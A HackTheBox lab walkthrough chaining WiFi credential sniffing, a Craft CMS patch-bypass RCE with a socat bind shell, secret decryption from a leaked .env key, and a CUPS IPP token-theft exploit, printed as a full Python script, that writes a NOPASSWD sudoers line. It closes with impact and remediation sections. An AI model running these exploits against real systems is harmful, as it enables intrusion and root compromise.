Layover
An open WiFi leaks cleartext creds, a Craft CMS patch-bypass CVE gives blind RCE, the leaked security key decrypts a stored SMTP password for a user shell, and a root-owned CUPS daemon (CVE-2026-34990) prints a NOPASSWD line into sudoers for full root.
HackTheBox: Layover — Wireless Creds, a Craft CMS Patch-Bypass RCE, and a CUPS Root
A walkthrough of the “Layover” boot2root from HackTheBox Season 12. The box opens on an aviation network where the staff WiFi has no encryption at all, so a login flies past in cleartext. Those credentials get us into Craft CMS as a low-privilege editor, where a patch-bypass of CVE-2026-28695 turns an “admin-only” bug into authenticated blind RCE. From a www-data shell we read the app’s security key and an encrypted database secret, decrypt it into a user’s SSH password, and finish by abusing a root-owned CUPS daemon (CVE-2026-34990) that will happily print a NOPASSWD line straight into sudoers.
Flags, passwords, keys, and the encrypted secret blob are redacted. Layover is an authorized training machine on HackTheBox; everything here was performed against a legal practice target. Flag values are shown as
<redacted>and recovered secrets as<redacted>— real on the box but withheld here.
TL;DR
TL;DR
An open WiFi (key_mgmt=NONE) leaks a login over the air → tshark in monitor mode captures jenny’s cleartext credentials to portal.international.htb → those creds log into Craft CMS as a low-priv Content Editor → a CVE-2026-28695 patch bypass (Yii2 behavior injection reached through the low-priv element-search action) gives authenticated blind RCE, delivered as a socat bind shell because the escapeshellcmd() filter kills reverse shells → as www-data we read .env (the Craft security key) and the database (an encrypted mailRelayPassword blob) → decrypt the blob with the leaked key to recover aporter’s SSH password → user flag → a root-owned CUPS daemon on 127.0.0.1:631 is vulnerable to CVE-2026-34990: a rogue IPP server steals a Local auth token, which authorizes a file:// printer that prints a NOPASSWD line into /etc/sudoers.d/ → sudo -i → root.
Open-air password → RCE → leaked key → decrypted secret → printer-to-root.
The target
export IP=<target-ip> # HTB machine entry point (ssh + rdp)
export ATTACKER_IP=<jumpbox-ip> # airside-ws01, our position on the internal net
The external scan is deliberately bare — only remote-access services are exposed:
nmap -sS -p- -Pn -T4 --min-rate=1000 $IP
# 22/tcp open ssh
# 3389/tcp open ms-wbt-server
RDP lands us on a Windows-style jumpbox, airside-ws01, that sits on the airport’s internal network:
xfreerdp3 /v:$IP /u:contractor /p:'<redacted>' +clipboard /dynamic-resolution /drive:share,/tmp
From the jumpbox, the real environment appears: an internal 10.13.37.0/24 segment hosting portal.international.htb, and a staff WiFi (HTB International WiFi) that the jumpbox can hear over a simulated radio (mac80211_hwsim). That open WiFi is the whole first act.
The vulnerability — a patch that fixed the symptom, not the cause
The foothold is CVE-2026-28695, an authenticated RCE in Craft CMS ≤ 5.9.8. The official fix (commit e31e508) narrowed the vulnerable create() call to yii\base\BaseObject subclasses and assumed only administrators could reach it. Both assumptions are wrong.
Insight
The root cause is Yii2 behavior injection, not an admin feature. yii\behaviors\AttributeTypecastBehavior is a BaseObject, so it survives the filter and still chains to a call_user_func() sink. Worse, the gadget is reachable from the low-privilege element-search action — a non-Twig path that also side-steps CRAFT_ENABLE_TWIG_SANDBOX. The patch bolted the front door (admin) shut while a side window (editor-level element search) opened into the same room. Patching a symptom (the admin context) is not patching the cause (behavior injection).
One constraint shapes every payload downstream: the command runs through PHP’s escapeshellcmd(), which neutralises shell metacharacters — no pipes, no redirects, no chaining. That kills the obvious reverse shell and forces a single-binary-with-arguments approach (curl, socat) for everything that follows.
Step 1 — Sniff cleartext credentials off the open WiFi
The jumpbox has two radios: wlan2 is associated normally, wlan3 is free for capture. First find the AP’s channel, then put wlan3 into monitor mode on that same channel:
iw dev wlan2 link
# SSID: HTB International WiFi
# freq: 2437.0 <- 2437 MHz = channel 6
sudo ip link set wlan3 down
sudo iw dev wlan3 set type monitor
sudo ip link set wlan3 up
sudo iw dev wlan3 set channel 6 # match the AP, or you hear nothing
With the radio on the right channel, capture and filter for HTTP POST bodies — login forms travel in the clear on an unencrypted network:
sudo tshark -i wlan3 -Y "http.request.method == POST" -T fields \
-e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-e urlencoded-form.key -e urlencoded-form.value
# 10.x.x.x -> 10.x.x.x portal.international.htb /miles/login.php username,password jenny,<redacted>
A staff member logging into the portal hands us jenny’s username and password in plaintext, straight out of the air.
Step 2 — Authenticated blind RCE on Craft via the patch bypass
jenny’s creds authenticate to Craft’s /admin, but she is only a Content Editor — the public PoC for CVE-2026-28695 expects admin and would dead-end here. The patch-bypass PoC reaches the gadget through element-search instead, so editor rights are enough. First confirm execution with a timing oracle:
# PoC: gbuyssens/CVE-2026-28695-craft-rce-bypass
curl -s "https://raw.githubusercontent.com/gbuyssens/CVE-2026-28695-craft-rce-bypass/main/exploit.py" -o cve_exploit.py
# edit the script with jenny's credentials, then:
python3 cve_exploit.py http://portal.international.htb --check
# [+] authenticated as jenny
# [*] sleep 5 ...
# [+] RCE CONFIRMED — +5.06s injected latency
The execution is blind (no output returned) and the Craft host can’t route back to our jumpbox, so a classic reverse shell fails twice over. The clean answer under escapeshellcmd() is a bind shell — the server opens a port and we connect in:
python3 cve_exploit.py http://portal.international.htb --bind 4445
# [*] planting bind shell: setsid socat TCP-LISTEN:4445,reuseaddr,fork EXEC:/bin/sh
# [+] connect: nc portal.international.htb 4445
nc portal.international.htb 4445
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgrade to a stable TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z; stty raw -echo; fg
Step 3 — Loot the config: arbitrary file read → .env + database
As www-data, the Craft project root (/var/www/portal) holds the keys to the next phase. The .env file leaks the application security key and the database credentials:
cat /var/www/portal/.env
# CRAFT_SECURITY_KEY=<redacted>
# CRAFT_DB_USER=craftuser
# CRAFT_DB_PASSWORD=<redacted>
# CRAFT_DB_DATABASE=craft
Those DB creds open the local MariaDB. The users table only has bcrypt hashes for admin and jenny — a tempting but slow rabbit hole. The real prize is the app’s custom settings table:
mysql -u craftuser -p
MariaDB [craft]> select name, value from htbairways_settings;
# mailRelayPassword | <redacted-blob> (base64 AES blob)
# mailRelayHost | mail.htbairways.htb
# mailRelayUser | aporter
# mailRelayPort | 587
Step 4 — Decrypt the mail-relay secret → user flag
Craft stores the SMTP relay password encrypted at rest with CRAFT_SECURITY_KEY. Normally that’s safe: the ciphertext lives in the database and the key lives in .env, two places an attacker rarely holds at once. Here, the Phase-2 file read collapses that separation — we have both.
Insight
Encryption-at-rest only protects you while the key and the ciphertext stay apart. Arbitrary file read hands over the key (.env) and DB access hands over the blob; together they reverse straight back to plaintext. Reusing that recovered SMTP password as a Linux login password is the final own-goal.
Replay Craft’s own decryption routine with the leaked key to recover the plaintext:
php -r '
require "/var/www/portal/vendor/autoload.php";
$key = "<redacted>";
$blob = "<redacted-blob>";
$s = new yii\base\Security();
echo $s->decryptByKey(base64_decode($blob), $key) . "\n";
'
# <redacted> (aporter's SMTP relay password)
That password is reused for the system account aporter:
su aporter # password: <redacted>
cat /home/aporter/user.txt
# <redacted>
Step 5 — Root via the CUPS IPP backdoor (CVE-2026-34990)
As aporter, a root-owned CUPS scheduler is listening on loopback:
ss -tlnp
# 127.0.0.1:631 LISTEN (cupsd, running as root)
Insight
CVE-2026-34990 abuses how cupsd authenticates “local” IPP requests. When CUPS validates a printer against an IPP backend, it retries with an Authorization: Local <token> header. A rogue IPP server on loopback answers 401 once to trigger that retry, then captures the token. With the token we drive privileged CUPS operations — create a printer whose device-uri is file:///etc/sudoers.d/..., flip it out of temporary state so it persists, then Print-Job our own content: CUPS writes the “document” to that file as root.
Stand up the rogue IPP listener and trigger CUPS to connect to it so the Local token is leaked:
# rogue IPP server on 127.0.0.1:9189 — returns 401 once, then captures the token
python3 /tmp/rogue_ipp.py &
# make cupsd reach out to the rogue backend
ipptool -q -d "name=leak" -d "device=ipp://127.0.0.1:9189/ipp/print" \
ipp://localhost:631/ /usr/share/cups/ipptool/cups-create-local-printer.test
# [+] TOKEN CAPTURED: <captured-token>
With the token, the exploit script issues the IPP chain against /admin/: CUPS-Create-Local-Printer with device-uri=file:///etc/sudoers.d/aporter-cups, CUPS-Add-Modify-Printer (ppd-name=raw, printer-is-shared=true, drop the temporary flag so it is written to printers.conf), Accept-Jobs + Resume-Printer, then a gzip-compressed Print-Job whose body is the sudoers line:
# document written by the Print-Job, as root, into /etc/sudoers.d/aporter-cups
aporter ALL=(ALL) NOPASSWD:ALL
Every IPP op returns 0x0000 (success); the queued job flushes to disk once cupsd cycles, and the sudoers drop-in appears. From there it is a one-liner to root:
sudo -l
# User aporter may run the following commands on portal:
# (ALL) NOPASSWD: ALL
sudo -i
cat /root/root.txt
# <redacted>
Wireless password → Craft RCE → leaked key → decrypted secret → CUPS printer-to-root. Every hop reuses something the previous one leaked.
POC
#!/usr/bin/env python3
import socket, struct, gzip, threading, subprocess, time
TOKEN = None
DONE = threading.Event()
CPORT = 9189
CUPS = ("127.0.0.1", 631)
IPP_OP_CUPS_ADD_MODIFY_PRINTER = 0x4003
IPP_OP_CUPS_ACCEPT_JOBS = 0x4008
IPP_OP_RESUME_PRINTER = 0x0011
IPP_OP_CUPS_CREATE_LOCAL = 0x4028
IPP_OP_PRINT_JOB = 0x0002
def u16(n): return struct.pack(">H", n)
def u32(n): return struct.pack(">I", n)
def enc(tag, name, value):
if isinstance(value, str): value = value.encode()
n = name.encode()
return bytes([tag]) + u16(len(n)) + n + u16(len(value)) + value
def enc_bool(name, v):
return bytes([0x22]) + u16(len(name)) + name.encode() + u16(1) + bytes([1 if v else 0])
def ipp(op, rid, op_attrs, pr_attrs=None, doc=b""):
buf = struct.pack(">BBHI", 2, 0, op, rid) + bytes([0x01])
for a in op_attrs: buf += a
if pr_attrs:
buf += bytes([0x04])
for a in pr_attrs: buf += a
return buf + bytes([0x03]) + doc
def common():
return [enc(0x47,"attributes-charset","utf-8"),
enc(0x48,"attributes-natural-language","en"),
enc(0x42,"requesting-user-name","aporter")]
def post(path, body, token=None, timeout=3):
hdrs = [f"POST {path} HTTP/1.1",
"Host: 127.0.0.1:631",
"Content-Type: application/ipp",
f"Content-Length: {len(body)}",
"Connection: close"]
if token: hdrs.append(f"Authorization: Local {token}")
s = socket.create_connection(CUPS, timeout=timeout)
s.sendall(("\r\n".join(hdrs)+"\r\n\r\n").encode()+body)
resp = b""
s.settimeout(timeout)
try:
while True:
d = s.recv(4096)
if not d: break
resp += d
except: pass
s.close()
ipp_r = resp.split(b"\r\n\r\n",1)[1] if b"\r\n\r\n" in resp else resp
http = int(resp.split(b" ")[1]) if b" " in resp[:20] else 0
st = struct.unpack(">H", ipp_r[2:4])[0] if len(ipp_r)>=4 else -1
return http, st
def read_req(conn):
data = bytearray()
conn.settimeout(5)
while b"\r\n\r\n" not in data:
c = conn.recv(4096)
if not c: break
data.extend(c)
return bytes(data)
def rogue():
global TOKEN
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", CPORT)); srv.listen(5); srv.settimeout(0.5)
deadline = time.time() + 15
while time.time() < deadline and not TOKEN:
try: conn, _ = srv.accept()
except socket.timeout: continue
with conn:
data = read_req(conn).decode("latin1","replace")
tok = None
for line in data.splitlines():
if line.lower().startswith("authorization: local "):
tok = line.split(None,2)[2].strip()
if tok:
TOKEN = tok; DONE.set()
print(f"[+] Token: {tok}")
ipp_ok = (b"\x02\x00\x00\x00\x00\x00\x00\x01\x01"
b"\x47\x00\x12attributes-charset\x00\x05utf-8"
b"\x48\x00\x1battributes-natural-language\x00\x02en\x03")
reply = (b"HTTP/1.1 200 OK\r\nContent-Type: application/ipp\r\n" +
f"Content-Length: {len(ipp_ok)}\r\nConnection: close\r\n\r\n".encode() + ipp_ok)
conn.sendall(reply)
else:
print(".", end="", flush=True)
conn.sendall(b"HTTP/1.1 401 Unauthorized\r\n"
b"WWW-Authenticate: Local trc=\"y\"\r\n"
b"Content-Length: 0\r\nConnection: close\r\n\r\n")
srv.close()
threading.Thread(target=rogue, daemon=True).start()
time.sleep(0.3)
proc = subprocess.Popen(["ipptool","-q",
"-d","name=admintest",
"-d",f"device=ipp://127.0.0.1:{CPORT}/ipp/print",
"ipp://localhost:631/",
"/usr/share/cups/ipptool/cups-create-local-printer.test"])
DONE.wait(timeout=10)
if not TOKEN: print("[-] No token"); exit(1)
PNAME = "pwntestprinter"
# Test Add-Modify-Printer WITH token
print("\n[*] Test CUPS-Add-Modify-Printer WITH token...")
body = ipp(IPP_OP_CUPS_ADD_MODIFY_PRINTER, 1,
common()+[enc(0x45,"printer-uri",f"ipp://localhost:631/printers/{PNAME}")],
[enc(0x42,"ppd-name","raw"), enc_bool("printer-is-shared",True)])
h,s = post("/admin/", body, TOKEN)
print(f" HTTP={h} IPP=0x{s:04x} ← {'OK' if s==0 else 'FAIL'}")
# Test WITHOUT token
print("[*] Test CUPS-Add-Modify-Printer WITHOUT token...")
h,s = post("/admin/", body)
print(f" HTTP={h} IPP=0x{s:04x} ← {'OK' if s==0 else 'NEEDS AUTH'}")
# Now: Create printer with file://, immediately do Add-Modify (ppd-name=raw, printer-is-shared=true)
print("\n[*] RACE TEST: Create file:// printer → immediately Add-Modify...")
import os
TARGET = "/etc/sudoers.d/aporter-cups"
CONTENT = b"aporter ALL=(ALL) NOPASSWD:ALL\n"
# Create printer (keep socket open)
create_body = ipp(IPP_OP_CUPS_CREATE_LOCAL, 2,
common()+[enc(0x45,"printer-uri","ipp://localhost:631/")],
[enc(0x42,"printer-name",PNAME),
enc(0x45,"device-uri",f"file://{TARGET}")])
hdrs_str = (f"POST / HTTP/1.1\r\nHost: 127.0.0.1:631\r\n"
f"Content-Type: application/ipp\r\nContent-Length: {len(create_body)}\r\n"
f"Connection: close\r\n\r\n")
sock = socket.create_connection(CUPS, timeout=3)
sock.sendall(hdrs_str.encode() + create_body)
# IMMEDIATELY fire admin ops (no sleep)
for i in range(80):
rid = 100 + i*4
# Add-Modify: ppd-name=raw, printer-is-shared=True (NO device-uri!)
b1 = ipp(IPP_OP_CUPS_ADD_MODIFY_PRINTER, rid,
common()+[enc(0x45,"printer-uri",f"ipp://localhost:631/printers/{PNAME}")],
[enc(0x42,"ppd-name","raw"), enc_bool("printer-is-shared",True)])
h1,s1 = post("/admin/", b1, TOKEN)
b2 = ipp(IPP_OP_CUPS_ACCEPT_JOBS, rid+1,
common()+[enc(0x45,"printer-uri",f"ipp://localhost:631/printers/{PNAME}")])
h2,s2 = post("/admin/", b2, TOKEN)
b3 = ipp(IPP_OP_RESUME_PRINTER, rid+2,
common()+[enc(0x45,"printer-uri",f"ipp://localhost:631/printers/{PNAME}")])
h3,s3 = post("/admin/", b3, TOKEN)
# Print-Job (no auth)
job = ipp(IPP_OP_PRINT_JOB, rid+3,
common()+[enc(0x45,"printer-uri",f"ipp://localhost:631/printers/{PNAME}"),
enc(0x49,"document-format","application/vnd.cups-raw"),
enc(0x44,"compression","gzip"),
enc(0x42,"job-name","pwn")],
doc=gzip.compress(CONTENT))
h4,s4 = post(f"/printers/{PNAME}", job)
if i == 0:
print(f" i=0: mod={s1:04x} acc={s2:04x} res={s3:04x} job={s4:04x}")
time.sleep(0.01)
if os.path.exists(TARGET) and os.path.getsize(TARGET)>0:
print(f"\n[+] SUCCESS at i={i}!")
break
sock.close()
if os.path.exists(TARGET) and os.path.getsize(TARGET)>0:
print(f"[+] {TARGET}\n {open(TARGET).read()}")
print("[+] sudo -n bash")
else:
print(f"\n[-] Not written. Last: mod={s1:04x} acc={s2:04x} res={s3:04x} job={s4:04x}")
import subprocess
subprocess.run(["tail","-5","/var/log/cups/error_log"])
Impact
Critical
Critical — full remote compromise to root. A representative score for the foothold RCE is CVSS 3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H): authenticated but low-privilege remote code execution, chained all the way to root. The chain stacks four distinct, attacker-reproducible failures:
- No wireless encryption — a staff login is readable by anyone in range; credentials cross the air in plaintext.
- An incomplete security patch — CVE-2026-28695’s fix guarded the admin context, not the underlying Yii2 behavior injection, leaving an editor-level path to RCE.
- Reversible secret storage — once arbitrary file read exposes the security key, every “encrypted” value in the database (here an SMTP password reused for SSH) decrypts trivially.
- A root-owned local service that writes attacker-controlled files — CUPS (CVE-2026-34990) turns a captured local token into an arbitrary root file write, i.e. instant privilege escalation.
Recommended fix
Fix
- Encrypt the wireless network. WPA2/WPA3-Enterprise at minimum; never run a staff portal login over an open SSID, and serve the portal over HTTPS so credentials are not recoverable from the air.
- Patch the cause, not the context. Upgrade Craft CMS past the CVE-2026-28695 bypass and constrain object instantiation by an allow-list of safe classes, not by caller privilege. Keep the Twig sandbox meaningful across all code paths.
- Protect secrets at rest properly. Store the application key outside the web root with least-privilege file permissions, don’t run the web app as a user that can read it, and never reuse a service secret (SMTP) as a login password.
- Lock down CUPS. Patch for CVE-2026-34990, disable
cups-browsed/unneeded IPP backends, bind only to the socket you need, and treat any root daemon that can write arbitrary files as a privilege boundary to harden.
Takeaways
- Open WiFi is a credential firehose. Monitor mode on the right channel plus a POST filter is all it takes to pull a plaintext login out of the air — encryption and HTTPS are not optional.
- A patch that targets a symptom leaves the bug alive. CVE-2026-28695 was “fixed” for admins, yet the real flaw (Yii2 behavior injection) stayed reachable from a lower-privileged action.
- Defensive filters reshape exploits, they don’t stop them.
escapeshellcmd()blocked reverse shells, so the attack pivoted to a bind shell and single-binary exfil — same RCE, different delivery. - Encryption-at-rest fails the moment one bug yields both key and ciphertext. File read plus DB access turned a stored secret back into a plaintext password.
- Enumerate root-owned local services. The final hop wasn’t a kernel bug — it was a root CUPS daemon tricked into printing a sudoers line.
Thanks for reading. Layover is a clean example of a chain where no single bug is exotic — open WiFi, an incomplete patch, a decryptable secret, a chatty print service — but each one hands the next exactly what it needs to climb from the parking lot to root.